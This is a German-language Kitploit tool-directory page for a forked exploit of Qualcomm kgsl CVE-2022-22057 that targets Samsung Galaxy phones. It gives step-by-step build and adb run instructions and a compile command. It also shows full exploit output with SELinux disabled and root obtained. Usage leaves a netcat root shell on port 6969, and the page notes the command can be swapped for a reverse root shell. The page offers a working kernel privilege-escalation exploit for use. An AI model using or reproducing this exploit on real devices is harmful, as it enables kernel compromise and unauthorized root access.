Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-22057_SM-F926U — Qualcomm kgsl Treiber-Exploit (CVE-2022-22057) für Samsung Galaxy Geräte, das beliebiges Lesen/Schreiben des Kernel-Speichers, SELinux-Bypass und temporären Root-Zugriff durch eine Race-Condition ermöglicht. | Kitploit
Tools/GitHubGitHub/diabl0w/cve-2022-22057_sm-f926u
Android-SicherheitPrivilege EscalationExploit-FrameworksSchwachstellenanalyseExploitationMobile SicherheitBinary-Exploitation
GitHubdiabl0w/cve-2022-22057_sm-f926u

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-22057_SM-F926U

Qualcomm kgsl Treiber-Exploit (CVE-2022-22057) für Samsung Galaxy Geräte, das beliebiges Lesen/Schreiben des Kernel-Speichers, SELinux-Bypass und temporären Root-Zugriff durch eine Race-Condition ermöglicht.

Repository anzeigen
1012vor 3 JahrenNoch nicht geprüft

Fork

Meine Adaption für das SM-F926U basierend auf dem ursprünglichen Exploit hier
Großer Dank an m-y-mo für die Entdeckung des Exploits und seine extreme Geduld bei all meinen Fragen, um dies auf das SM-F926U zu portieren und nutzbar zu machen.

Ich habe einen Start-Daemon (libtimeline.so) basierend auf Code von Shizuku hinzugefügt.

Habe einen schmutzigen Trick eingebaut, um die temporäre Root-Lösung stabil zu machen (siehe unten).

Haftungsausschluss: Ich übernehme keine Verantwortung für zerstörte Geräte, verlorene Daten, gestohlene Daten, Gerätesicherheit
Haftungsausschluss 2: Ich bin kein Entwickler, eher ein professioneller Bastler. Ich werde versuchen, dir zu helfen, wenn du auf Probleme stößt, aber ich könnte diesen Thread nie wieder ansehen – auf eigene Gefahr.

Anforderungen:

  • Firmware-Version bei oder nahe F926UXXS1BUL6 aufgrund spezifischer kallsym-Offsets (nur F926USQS1BUL6 getestet)

Anleitung:

  • Lies zuerst alle Anleitungen, den obigen Haftungsausschluss und die nachfolgenden Hinweise.
  • Kompiliere libtimeline.so (mit ndk-build) und timeline (mit make).
  • Kopiere beide nach /data/local/tmp.
  • Zum Debuggen: Du kannst /data/local/tmp/timeline direkt ausführen, um zu sehen, ob der Exploit läuft oder hängt (siehe Hinweise unten).
  • Für den Produktiveinsatz: Führe /data/local/tmp/libtimeline.so aus.
  • Warnung: Dein Gerät könnte einen Kernel-Panik erleiden und neu starten. Wenn das passiert, warte, bis es hochgefahren ist, entsperre das Gerät, gib ihm ein paar Minuten, um sich nach dem Booten zu „beruhigen“, und versuche es erneut – theoretisch sollte das Schlimmste, was passieren kann, der Verlust von Daten sein, die noch im Speicher sind. Stelle also sicher, dass du alle wichtigen Daten speicherst, bevor du den Exploit ausführst.
  • Nachdem der Exploit abgeschlossen ist und der Startprozess in seine Schleife übergeht (siehe Hinweise unten, warum wir das tun):
    • Verbinde dich mit einer Root-Shell, indem du netcat 127.0.0.1 6969 in einer ADB-Sitzung eingibst.
    • Wenn die Verbindung hergestellt ist, solltest du id eingeben können; es zeigt dann deine Root-Anmeldeinformationen.
    • Du kannst auch Befehle über echo 'DEIN BEFEHL' | netcat 127.0.0.1 6969 ausführen.

Weitere Hinweise:

  • Es gibt derzeit keine Implementierung, die anzeigt, dass der Exploit erfolgreich war. Du kannst jedoch das timeline-Binary direkt ausführen (/data/local/tmp/timeline); dann siehst du, ob der Exploit erfolgreich war, aber kurz nachdem du deine ADB-Sitzung beendest, stürzt das Gerät ab – deshalb führen wir ihn über libtimeline.so aus.
  • Selbst wenn der Exploit über libtimeline.so läuft: Wenn Android den timeline-Prozess im Hintergrund beendet, führt dies ebenfalls zu einem Neustart des Telefons. Bei meinem Telefon hält der Prozess typischerweise zwischen 8 Stunden und einigen Tagen, bevor er beendet wird.
  • libtimeline.so belastet die CPU mit 100%: Du wirst in top sehen, dass timeline mit etwa 100% CPU-Auslastung läuft. Ich bin mir nicht sicher, ob das legitim ist oder nicht. Es sitzt eigentlich nur in einer while(1)-Schleife, um zu verhindern, dass es geschlossen wird und das Gerät abstürzt. Ich habe noch nicht herausgefunden, was die hohe CPU-Auslastung verursacht oder ob es ein falscher Positiv ist. behoben
  • Dies ist eine temporäre Root-Lösung, d.h.: kein Magisk, kein SU-Manager, und Defex ist immer noch aktiviert.
  • WARNUNG: ** Diese Root-Methode ist sehr unsicher **
    • Sie hinterlässt eine Root-Shell, die auf Port 6969 über netcat läuft, und jeder Dienst, der einen Befehl an diesen Port schreibt, kann Befehle mit Root-Rechten ausführen.

Original

Exploit für Qualcomm CVE-2022-22057

Der Artikel dazu ist hier zu finden. Es handelt sich um einen Fehler im Qualcomm kgsl-Treiber, den ich im November 2021 gemeldet habe. Der Fehler kann genutzt werden, um aus der nicht vertrauenswürdigen App-Domäne beliebigen Kernel-Speicher zu lesen und zu beschreiben, der dann verwendet wird, um SELinux zu deaktivieren und Root-Zugriff zu erlangen.

Der Exploit wurde auf dem Samsung Galaxy Z Flip 3 (europäische Version SM-F711B) mit Firmware-Version F711BXXS2BUL6, Baseband F711BXXU2BUL4 und Kernel-Version 5.4.86-qgki-23063627-abF711BXXS2BUL6 (Region EUX) getestet. Die Offsets im Exploit beziehen sich auf diese Firmware-Version. Neben den üblichen Offsets im Kernel-Image sind auch verschiedene Adressen der Ionen-Speicherpools in ion_utils.c firmwarespezifisch. Als Referenz habe ich den folgenden Befehl zum Kompilieren mit clang in ndk-21 verwendet:

root@kitploit:~
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline

Der Exploit ist einigermaßen zuverlässig (~70% auf dem getesteten Gerät), obwohl er nach dem Start einige Minuten warten muss, bevor er ausgeführt wird, da es in den ersten Minuten nach dem Start viel zu viele fehlerhafte/fehlgeschlagene Binder-Aufrufe gibt. (Ob das ein Qualcomm- oder Samsung-Problem ist, bin ich mir nicht ganz sicher).

Zum Testen die Datei cross-kompilieren und dann mit adb ausführen:

root@kitploit:~
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline

Bei Erfolg wird SELinux deaktiviert und der Befehl id als Root ausgeführt; die Ergebnisse werden in die Datei /data/local/tmp/id.txt geschrieben:

root@kitploit:~
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
 wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished

Nach der Ausgabe wait complete -1 gibt es eine längere Pause von weniger als einer Minute – das ist normal. Es kann manchmal auch eine Weile dauern, bis die Arbeit in die Warteschlange eingereiht wird (nachdem queuing work, waiting to aquire spin lock ausgegeben wird, kann es ein paar Minuten dauern, einfach Geduld haben – das ist jedoch nicht häufig). Normalerweise ist der Exploit in ein paar Minuten abgeschlossen.

Die Datei /data/local/tmp/id.txt sollte bestätigen, dass der Befehl als Root ausgeführt wurde:

root@kitploit:~
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

Ein anderer Befehl kann ausgeführt werden, indem die Variable cmd in setup_sub_info in work_queue_utils.c geändert wird. (Zum Beispiel, um eine umgekehrte Root-Shell zu öffnen).

Tool herunterladen